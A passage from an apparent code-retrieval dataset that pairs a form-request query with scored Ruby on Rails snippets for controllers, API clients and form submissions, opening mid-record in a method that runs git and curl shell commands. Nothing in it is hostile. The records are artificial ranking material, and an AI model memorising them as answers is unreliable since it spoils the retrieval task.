#{CONFIG[Rails.env][\"git_user_pass\"]} https://api.bitbucket.org/1.0/repositories/ --data name=#{CONFIG[Rails.env][:repo_prefix]}-#{self.uuid} --data is_private=true`\n\n sleep 1\n\n logger.info `mkdir #{directory}\n cp -r #{template_directory}/* #{directory}\n cp config/book_gitignore #{directory}/.gitignore\n cd #{directory}\n git init\n git remote add origin #{CONFIG[Rails.env][\"git\"]}/#{CONFIG[Rails.env][:repo_prefix]}-#{self.uuid}.git`\n\n input_files = \"\"\n self.texts.order(\"-position DESC\").each do |text|\n text.to_file\n input_files << \"\\\\input{#{text.short_filename}}\\n\"\n end\n\n input_text = File.join(directory,'INPUTS.tex')\n File.open(input_text,'w') {|io| io.write(input_files) }\n\n input_commands = File.join(directory,'fichatecnica.sty')\n File.open(input_commands,'w') {|io| io.write(self.book_data.to_file) }\n\n logger.info `cd #{self.directory}\n git add .\n git commit -a -m \"regenerate git repository from database\"\n git push -u origin master`\n\n logger.info \"regenerate git repository from database for book, id #{self.id}\"\n\n end", "title": "" }, { "docid": "68b2c811dc012913b2d89d2c65851b22", "score": "0.51857126", "text": "def star_gist(id)\n boolean_request :put, \"/gists/#{id}/star\"\n end", "title": "" } ]
d461158a46b0fe182c6d2bab976b7bf1
GET /request_forms/1 GET /request_forms/1.json
[ { "docid": "fa6fd1413e4073944e8a69eb755dfb34", "score": "0.0", "text": "def show\n @travel_forms = RequestForm.all\n @departments = Department.all\n end", "title": "" } ]
[ { "docid": "312798fa69ee7bcd7be50e37da3e8505", "score": "0.75516117", "text": "def retrieve_forms()\n start.uri('/api/form')\n .get()\n .go()\n end", "title": "" }, { "docid": "cd581c71627e13e8c2e5333ebcd13272", "score": "0.7047721", "text": "def form(id)\n make_json_api_request :get, \"v2/#{account_id}/forms/#{id}\"\n end", "title": "" }, { "docid": "c057d4ececec4c43930d36289d8e283b", "score": "0.7018126", "text": "def index\n @request_forms = RequestForm.all\n end", "title": "" }, { "docid": "6705d2e0ebe2594489492da121e031ce", "score": "0.6787571", "text": "def index\n @forms = Form.all\n\n render json: @forms\n end", "title": "" }, { "docid": "a36cb96170596f716074702d573d0461", "score": "0.6686945", "text": "def index\n @form_requests = FormRequest.all\n end", "title": "" }, { "docid": "61bf046c90b5fe93f82cec84f88ec5f9", "score": "0.6580773", "text": "def retrieve_form_fields()\n start.uri('/api/form/field')\n .get()\n .go()\n end", "title": "" }, { "docid": "a1d44b6a997cde9703849a96f40bd5b7", "score": "0.6556208", "text": "def index\n @approvals = RequestSearch.forms_for @user,\n :page=>@page,\n :per_page=>@per_page\n respond_to do |format|\n format.html # forms.html.erb\n format.json {render :json => @approvals }\n end\n\n end", "title": "" }, { "docid": "7db14fb769ac37d2c6434b8af941fb74", "score": "0.6496507", "text": "def retrieve_form(form_id)\n start.uri('/api/form')\n .url_segment(form_id)\n .get()\n .go()\n end", "title": "" }, { "docid": "35914e9dd42998a14115e5a2e4343c6a", "score": "0.641693", "text": "def get_form\n resp = self.class.get(\"/lines/#{CF.account_name}/#{self.line_title.downcase}/stations/#{self.index}/form.json\")\n self.errors = resp.error.message if resp.code != 200\n return resp\n end", "title": "" }, { "docid": "d0b3d61a07f7687183d2279e9aa89bca", "score": "0.63809437", "text": "def new\n @request = @current_user.requests.build\n @form_name = \"Submit a new request\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "title": "" }, { "docid": "17568fafac5317ff98111028e599b03d", "score": "0.6372504", "text": "def show\n # forbidden_request\n render json: @form\n end", "title": "" }, { "docid": "76b083dce58ba5fbd910396e0a7072c8", "score": "0.6358751", "text": "def forms\n get(:forms)['Forms'].map do |details|\n Form.new(details['Url'], :party => self, :details => details)\n end\n end", "title": "" }, { "docid": "eb1b1d64e041808594806c41744256ae", "score": "0.63489723", "text": "def new\n @form1 = Form1.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @form1 }\n end\n end", "title": "" }, { "docid": "b25c0c5255f8992c686c286c6f6ad393", "score": "0.6348658", "text": "def get_form *args\r\n begin\r\n uri = URI.parse(args[0])\r\n uri.query=URI.encode_www_form(args[1])\r\n res = Net::HTTP.get_response(uri)\r\n return JSON.parse(res.body)\r\n rescue Exception=>e\r\n puts e.message\r\n puts e.backtrace\r\n if res==nil\r\n return e.message\r\n elsif !res.body.match(/{.*}/)\r\n return res.code+'-'+e.message\r\n else\r\n return e.message\r\n end\r\n end\r\n end", "title": "" }, { "docid": "54981d88199bd0f0831843a61f1fddcf", "score": "0.6320609", "text": "def index\n @contact_forms = ContactForm.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contact_forms }\n end\n end", "title": "" }, { "docid": "54981d88199bd0f0831843a61f1fddcf", "score": "0.6320609", "text": "def index\n @contact_forms = ContactForm.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contact_forms }\n end\n end", "title": "" }, { "docid": "d74f05744991fd30ed1c55490e0bec4b", "score": "0.6309259", "text": "def form\n @form_hash ||= JSON.parse(form_json)\n end", "title": "" }, { "docid": "4e0961f6f930152c4dee0a169316d35c", "score": "0.6302558", "text": "def show\n @form1 = Form1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form1 }\n end\n end", "title": "" }, { "docid": "371b34e0ec450ed97c068e953001f716", "score": "0.6297267", "text": "def new\n @application_form = ApplicationForm.new\n @fields = Form.find(params[:i]).form_fields\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application_form }\n end\n end", "title": "" }, { "docid": "311ce7440b5522de804a129905c571dc", "score": "0.6281403", "text": "def form\n @form ||= Form.new(get(\"form/#{all['form_id']}\")).use_api(@api)\n end", "title": "" }, { "docid": "99bb9ae4a917239aff45b22f6d192f91", "score": "0.62150794", "text": "def index\n redirect_to :controller => \"member_zone\", :action => \"forms\"\n #@forms = Form.all\n\n #respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @application_forms }\n #end\n end", "title": "" }, { "docid": "6558b02203ed9daa924c50c7b6c5bb1c", "score": "0.6211895", "text": "def request_for_form(form)\n request(form.url, {\n :method => form.method,\n :params => form.to_hash\n })\n end", "title": "" }, { "docid": "e7c66d5e878645b7d05ce6a92a62d3a1", "score": "0.6210248", "text": "def index\n @forms_responses = FormsResponse.all\n end", "title": "" }, { "docid": "396c5909afa291e9911636af781d357d", "score": "0.619513", "text": "def next_form\n json_form.next_form(parsed_json['id'])\n end", "title": "" }, { "docid": "bcc3c1d1bbe8fcf87d0af6b6b2a0ad42", "score": "0.61828864", "text": "def get_quality_forms_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: QualityApi.get_quality_forms ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/quality/forms\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n query_params[:'sortBy'] = opts[:'sort_by'] if opts[:'sort_by']\n query_params[:'nextPage'] = opts[:'next_page'] if opts[:'next_page']\n query_params[:'previousPage'] = opts[:'previous_page'] if opts[:'previous_page']\n query_params[:'expand'] = opts[:'expand'] if opts[:'expand']\n query_params[:'name'] = opts[:'name'] if opts[:'name']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud Auth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'EvaluationFormEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: QualityApi#get_quality_forms\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "c793e00aaa40acb8318248ec82adfdfe", "score": "0.61824846", "text": "def forms\n @forms ||= fetch_references(parsed_json).fetch('forms', []).map { |form_json| UmmForm.new(form_section_json: fetch_references(form_json), json_form: self, schema: schema, options: options, field_value: object) }\n end", "title": "" }, { "docid": "67ca46495a9ea70a108f462470a0a723", "score": "0.61819994", "text": "def show\n @appform = Appform.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @appform }\n end\n end", "title": "" }, { "docid": "c0cdd7099cd1ff851e4f231509b8382b", "score": "0.61799973", "text": "def new\n @contact_form = ContactForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact_form }\n end\n end", "title": "" }, { "docid": "c0cdd7099cd1ff851e4f231509b8382b", "score": "0.61799973", "text": "def new\n @contact_form = ContactForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact_form }\n end\n end", "title": "" }, { "docid": "c0cdd7099cd1ff851e4f231509b8382b", "score": "0.61799973", "text": "def new\n @contact_form = ContactForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact_form }\n end\n end", "title": "" }, { "docid": "539a70f4afc377a7bec7a3ddeec37361", "score": "0.617416", "text": "def show\n @form = Form.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form }\n end\n end", "title": "" }, { "docid": "8502e8211c60dcc7434e7b4a63641487", "score": "0.61656487", "text": "def get_quality_forms_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: QualityApi.get_quality_forms ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/quality/forms\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n query_params[:'sortBy'] = opts[:'sort_by'] if opts[:'sort_by']\n query_params[:'nextPage'] = opts[:'next_page'] if opts[:'next_page']\n query_params[:'previousPage'] = opts[:'previous_page'] if opts[:'previous_page']\n query_params[:'expand'] = opts[:'expand'] if opts[:'expand']\n query_params[:'name'] = opts[:'name'] if opts[:'name']\n query_params[:'sortOrder'] = opts[:'sort_order'] if opts[:'sort_order']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'EvaluationFormEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: QualityApi#get_quality_forms\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "cb0324b8c2d4a72866828892186020a8", "score": "0.6163779", "text": "def new\n @appform = Appform.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @appform }\n end\n end", "title": "" }, { "docid": "22ddda9b2728bd77dd45d4846313e81a", "score": "0.61593443", "text": "def show\n @request = Request.find(params[:id])\n @availabilities = HospitalBedAvailability.prepare_nested_form(@request)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request }\n end\n end", "title": "" }, { "docid": "bc1a3cb90b76dee912c2895594e1ad3f", "score": "0.6142367", "text": "def index\n @consent_forms = ConsentForm.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @consent_forms }\n end\n end", "title": "" }, { "docid": "33d8c6310807055deb8e4edc02fbbbc5", "score": "0.61408365", "text": "def api_forms_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.api_forms_get ...'\n end\n # resource path\n local_var_path = '/api/forms'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_forms_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "64fa7fa931c55420d8fb3342cfec0f47", "score": "0.6138316", "text": "def show\n @contact_form = ContactForm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contact_form }\n end\n end", "title": "" }, { "docid": "64fa7fa931c55420d8fb3342cfec0f47", "score": "0.6138316", "text": "def show\n @contact_form = ContactForm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contact_form }\n end\n end", "title": "" }, { "docid": "cb56b8f8361fee34c06437d810c230ca", "score": "0.6100289", "text": "def show\n @mainform = Mainform.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mainform }\n end\n end", "title": "" }, { "docid": "3e2c4e91ff350940ecd22882320b5fa8", "score": "0.60935783", "text": "def index\n\t\t@contact_forms = ContactForm.all\n\t\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @contact_forms }\n\t\tend\n\tend", "title": "" }, { "docid": "c321fe34dd973e54b8d626c874215212", "score": "0.60925585", "text": "def set_request_form\n @request_form = RequestForm.find(params[:id])\n end", "title": "" }, { "docid": "3fcfd7595b13fdef4f49fdde96880511", "score": "0.60914963", "text": "def new\n @formulario = Formulario.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @formulario }\n end\n end", "title": "" }, { "docid": "2cdb78f7c816bd1a779fe679569346d2", "score": "0.6090168", "text": "def api_forms_get(opts = {})\n api_forms_get_with_http_info(opts)\n nil\n end", "title": "" }, { "docid": "41571d061b4f108765e71be31bb54501", "score": "0.6086217", "text": "def index #retirar\n @pergunta_forms = PerguntaForm.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pergunta_forms }\n end\n end", "title": "" }, { "docid": "484c84e339633715cbeabeba2323a4b0", "score": "0.6073749", "text": "def new\n @form_instance = FormInstance.new\n @form_instance.form = Form.find_by_name(params[:form_id])\n# @form_instance.respondent = Respondent.find(1)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @form_instance }\n end\n end", "title": "" }, { "docid": "4d370d0f6651a15be9aaef1211966c98", "score": "0.6055324", "text": "def new\n @form = Form.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @form }\n end\n end", "title": "" }, { "docid": "2969547820c893e146806ae4361ab418", "score": "0.6025339", "text": "def create_form(form_id, request)\n start.uri('/api/form')\n .url_segment(form_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "ad97ce305e61a0b9c7a081b918d3fcb1", "score": "0.6024263", "text": "def index\n @appraisal_forms = AppraisalForm.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @appraisal_forms }\n end\n end", "title": "" }, { "docid": "ddaebeeb724fc5ba7309401125b36f14", "score": "0.60041773", "text": "def index\n baseUrl = 'https://forms.hubspot.com/uploads/form/v2'\n url = \"#{baseUrl}/#{ENV['PORTAL_ID']}/#{ENV['FORM_GUID']}\"\n baseParams = '?'\n totalParams = ''\n msg = {}\n hs_params = {}\n\n if params[\"hs_context\"]['hutk'] && !params[\"hs_context\"]['hutk'].empty?\n hs_params['pageUrl'] = params['hs_context']['pageUrl']\n hs_params['pageName'] = params['hs_context']['pageName']\n hs_params['hutk'] = params['hs_context']['hutk']\n end\n\n hs_context = JSON.generate(hs_params)\n\n if params['email'] && !params['email'].empty?\n msg[:hsStatus] = 200\n totalParams += \"email=#{params['email']}&newsletter_subscriber=True&lifecyclestage=subscriber\"\n http = Curl.post(\"#{url}/#{baseParams + totalParams}\", hs_context)\n else\n msg[:hsStatus] = 400\n msg[:errors] = 'E-mail Cannot be Blank'\n end\n\n render :json => JSON.generate(msg), :callback => params[:callback]\n end", "title": "" }, { "docid": "3ad72b138ede2aa496e3d477632ec433", "score": "0.5984581", "text": "def new\n @formulario = Formulario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @formulario }\n end\n end", "title": "" }, { "docid": "c4843467c6e1caf60f0fce5cb3809520", "score": "0.59840655", "text": "def new\n @app_request = AppRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @app_request }\n end\n end", "title": "" }, { "docid": "cce2498ec265089ef9d20cdfd735a80e", "score": "0.5978591", "text": "def new\n @request = current_user.practice.requests.build\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "title": "" }, { "docid": "5176a15f1ed4b03620c9d26e42b4466b", "score": "0.597416", "text": "def new\n @consent_form = ConsentForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @consent_form }\n end\n end", "title": "" }, { "docid": "e748da3eb6e66c48415f779e8960f734", "score": "0.5968871", "text": "def show\n @user_form = UserForm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_form }\n end\n end", "title": "" }, { "docid": "0e1f1ed20478d64e105efe2e832b04d8", "score": "0.5968442", "text": "def show\n\t\t@contact_form = ContactForm.find(params[:id])\n\t\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @contact_form }\n\t\tend\n\tend", "title": "" }, { "docid": "1a97d914aeed54fca51fdaa971af3233", "score": "0.59662837", "text": "def show\n @formulario = Formulario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @formulario }\n end\n end", "title": "" }, { "docid": "64a3ed6808e09624cadf18c7e8c57812", "score": "0.59638566", "text": "def index\n @earner_forms = EarnerForm.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @earner_forms }\n end\n end", "title": "" }, { "docid": "21cccc0575917e9f5bc2117b38797c0c", "score": "0.59590113", "text": "def form(id, params = {})\n get \"forms/#{id}\", {query: params}\n end", "title": "" }, { "docid": "1200d7cc149329e23ad7cabb1225b35f", "score": "0.59327126", "text": "def show\n @contact_request = ContactRequest.find(params[:id])\n\n render json: @contact_request\n end", "title": "" }, { "docid": "f9f4cce3a7569e2bc05dbdec915df35a", "score": "0.5931769", "text": "def new\n raise Exception if (form_id = params[:form_id]).nil?\n #TODO turn this to eager load at the model layer\n @form = Form.where(id: form_id).includes(:questions => :answers).first\n @response = Response.new form: @form\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @response }\n end\n end", "title": "" }, { "docid": "34604e45b25c8dbf1ce8044b9200b46e", "score": "0.5931538", "text": "def new\n @mainform = Mainform.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mainform }\n end\n end", "title": "" }, { "docid": "e06ccf011f1227651433d22d12eff9be", "score": "0.592677", "text": "def new\n @form = Form.new\n @cta = Cta.find(params[:cta_id])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @form }\n end\n end", "title": "" }, { "docid": "aa1fac77857b1adbad5ae008e65a0a72", "score": "0.5924889", "text": "def index\n @form_responses = FormResponse.all\n end", "title": "" }, { "docid": "62841d0d9304ccad073998b0d08d1953", "score": "0.5921536", "text": "def show\n @filled_form = @filled_forms.find(params[:id])\n\n respond_with :admin, @form, @filled_form\n end", "title": "" }, { "docid": "ada7a4be1edd410af83f693e538c9d52", "score": "0.59188336", "text": "def scenario_request_form\n # TODO: move somewhere?\n mapping = {}\n @event.unique_scenarios.each { |scenario| mapping[scenario] = [] }\n @event.game_masters.each do |gm|\n user = gm.user_event.user\n Rails.logger.info \"Looking at GM #{user.name} and scenario #{gm.scenario.long_name}\"\n list = mapping[gm.scenario]\n next if list.nil?\n\n # Skip VO requests for now. If we do modules, we may need to update this.\n Rails.logger.info \"Checking GM #{user.name} to see if they are a VO. #{user.venture_officer?}\"\n next if user.venture_officer?\n\n Rails.logger.info \"User is not a VO. Checking if they have already gotten it: #{gm.scenario_requested?}\"\n unless gm.scenario_requested?\n Rails.logger.info \"GM #{user.name} registration ID: #{gm.user_event.id}\"\n registration_id = gm.user_event.id\n unless list.any? { |other| registration_id == other.user_event.id }\n Rails.logger.info \"Adding #{gm.to_json} to the list\"\n list << gm\n end\n end\n gm.scenario_requested = DateTime.now\n # Rails.logger.info \"GMs request for #{gm.scenario_requested?} are #{list}\"\n gm.save\n end\n @game_masters = mapping.values.flatten\n respond_to do |format|\n format.json { render :scenario_request_form, status: :ok }\n # check for CSV, and make the default format, perhaps\n format.csv do\n send_data GameMaster.to_request_csv(@game_masters), filename: 'scenario_request.csv'\n end\n end\n end", "title": "" }, { "docid": "9677a8240197c91960622c954cccc078", "score": "0.5915432", "text": "def show\n @application_form = ApplicationForm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application_form }\n end\n end", "title": "" }, { "docid": "cbaba3ee3fc7184ae748d183e21f5653", "score": "0.59110856", "text": "def new\n @soi_form = SoiForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @soi_form }\n end\n end", "title": "" }, { "docid": "508d9416238b03e71448e0c98ec652c6", "score": "0.5902302", "text": "def new\n @pergunta_form = PerguntaForm.new\n @comite = Comite.find(current_comite)\n @formulario = @comite.formularios.where('estado = 1 and tipo = 1')[0]\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pergunta_form }\n end\n end", "title": "" }, { "docid": "842d5e96992a7c3b11d6170711c53b6d", "score": "0.5892738", "text": "def form_fragment\n parsed_json\n end", "title": "" }, { "docid": "3cfe3840fab4ab605307f6f1db60397f", "score": "0.5889441", "text": "def new\n @req = Req.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @req }\n end\n end", "title": "" }, { "docid": "79734bc8af2f23a513a2cb0e32a4aee0", "score": "0.58875597", "text": "def set_project_form\n @project_request_form = ProjectRequestForm.find_by_id(params[:id])\n if @project_request_form\n else\n \trender json: { valid: false}, status: 404\n end\n end", "title": "" }, { "docid": "0ca925ce8788088d4305f0797b23dd4a", "score": "0.58864385", "text": "def get_page_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FormsApi.get_page ...'\n end\n allowable_values = [\"hubspot\", \"captured\", \"flow\", \"blog_comment\", \"all\"]\n if @api_client.config.client_side_validation && opts[:'form_types'] && !opts[:'form_types'].all? { |item| allowable_values.include?(item) }\n fail ArgumentError, \"invalid value for \\\"form_types\\\", must include one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/marketing/v3/forms/'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'after'] = opts[:'after'] if !opts[:'after'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'archived'] = opts[:'archived'] if !opts[:'archived'].nil?\n query_params[:'formTypes'] = @api_client.build_collection_param(opts[:'form_types'], :multi) if !opts[:'form_types'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', '*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CollectionResponseFormDefinitionBaseForwardPaging'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oauth2']\n\n new_options = opts.merge(\n :operation => :\"FormsApi.get_page\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FormsApi#get_page\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "6f1f6b28f0ffae6e5e531e676e821290", "score": "0.5878025", "text": "def new\n @online_application_form = OnlineApplicationForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @online_application_form }\n end\n end", "title": "" }, { "docid": "6eb27b762ee5275fb114a5d1d716db53", "score": "0.58648384", "text": "def new\n @requisito = Requisito.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @requisito }\n end\n end", "title": "" }, { "docid": "7aa9d8018925695807ad084ede9d9d84", "score": "0.58416766", "text": "def new\n @user_form = UserForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_form }\n end\n end", "title": "" }, { "docid": "8ba544b9f90f525f7dfe545ebb321496", "score": "0.5830235", "text": "def forms\n @browser.link(:text=>\"Forms\", :class=>\"icon-sakai-metaobj\").click\n Forms.new(@browser)\n end", "title": "" }, { "docid": "8ba544b9f90f525f7dfe545ebb321496", "score": "0.5830235", "text": "def forms\n @browser.link(:text=>\"Forms\", :class=>\"icon-sakai-metaobj\").click\n Forms.new(@browser)\n end", "title": "" }, { "docid": "3fb5e84a0d46640e59fd63d55464d8b7", "score": "0.58285713", "text": "def get_forms\r\n Form.where(\"opportunity_id = ?\", opportunity_id).all\r\n end", "title": "" }, { "docid": "ffbd4e8ab7ae5317051af515eb9c88f2", "score": "0.5818262", "text": "def data_request_form\n @project = Project.find(params[:project_id])\n @page_title = @project.title\n @request = DataRequest.find(:first, :conditions=>[\"user_id=? AND project_id=?\",current_user.id,@project.id]) \n @extraction_forms = ExtractionForm.find(:all, :conditions=>[\"project_id=?\",@project.id], :select=>[\"id,title\"],:order=>[\"created_at ASC\"])\n render \"projects/data_request_form\"\n end", "title": "" }, { "docid": "ff19a7d101e50554d79c7378edb4301c", "score": "0.5817391", "text": "def get_typeform_form\n Typeform.api_key = ENV['TYPEFORM_API_KEY']\n typeform_id = \"Su6ppS\"\n\n Typeform::Form.new(typeform_id)\nend", "title": "" }, { "docid": "5a52ecedb0ec7a7df1c7cde2c9c24a3e", "score": "0.5812767", "text": "def get_by_id_with_http_info(form_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FormsApi.get_by_id ...'\n end\n # verify the required parameter 'form_id' is set\n if @api_client.config.client_side_validation && form_id.nil?\n fail ArgumentError, \"Missing the required parameter 'form_id' when calling FormsApi.get_by_id\"\n end\n # resource path\n local_var_path = '/marketing/v3/forms/{formId}'.sub('{' + 'formId' + '}', CGI.escape(form_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'archived'] = opts[:'archived'] if !opts[:'archived'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', '*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'FormDefinitionBase'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oauth2']\n\n new_options = opts.merge(\n :operation => :\"FormsApi.get_by_id\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FormsApi#get_by_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "629f28da1c78f22560d0db193b81245b", "score": "0.58103985", "text": "def index\n respond_with @current_user.forms\n end", "title": "" }, { "docid": "f4af03c0e922f6fd580bff02899097bf", "score": "0.5808361", "text": "def index\n @dec_forms = DecForm.sorted\n\n\t\tgon.highlight_first_form_field = false\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dec_forms }\n end\n end", "title": "" }, { "docid": "96dd4027e71d472714330c0a8d21a155", "score": "0.58059376", "text": "def index\n respond_with :admin, @form, @filled_forms\n end", "title": "" }, { "docid": "28a74755831268a2d0f33f09c01feb7e", "score": "0.57856536", "text": "def new\n @appraisal_form = AppraisalForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @appraisal_form }\n end\n end", "title": "" }, { "docid": "d0587a2d4c83bce6807f62a591b1b733", "score": "0.57821316", "text": "def new\n @form_type = FormType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @form_type }\n end\n end", "title": "" }, { "docid": "13c75aed816182525aed33d9670572e5", "score": "0.57819945", "text": "def show\n @form_type = FormType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form_type }\n end\n end", "title": "" }, { "docid": "9d26ad8ddb61fad69309c99b9ec33f12", "score": "0.5778346", "text": "def index\n @forms = @study_arm_visit.forms\n\n respond_to do |format|\n 